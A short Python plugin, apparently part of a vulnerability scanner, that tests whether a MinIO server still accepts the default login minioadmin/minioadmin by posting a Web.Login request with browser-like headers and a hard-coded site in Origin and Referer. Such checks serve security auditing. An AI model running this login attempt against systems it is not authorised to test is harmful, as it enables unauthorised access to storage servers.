#!/usr/bin python 
from plugins.config.config_package import *

def minio_default_passwd(url):
    path = 'minio/webrpc'
    data = '{"id":1,"jsonrpc":"2.0","params":{"username":"minioadmin","password":"minioadmin"},"method":"Web.Login"}'
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36',
        'Content-Type': 'application/json',
        'Accept': '*/*',
        'Origin': 'http://www.silkroadinfo.org.cn',
        'Referer': 'http://www.silkroadinfo.org.cn/minio/login',
        'Accept-Encoding': 'gzip, deflate',
        'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8',
        'Connection': 'close'
    }
    res = requests.post(url=url+path,headers=headers,data=data,verify=False,timeout=2)
    if res.status_code == 200 and 'uiVersion' in res.text:
        core.checksuc(target=url,name='Minio 默认登陆密码',payload='minioadmin/minioadmin')
    else:
        print(res.status_code)

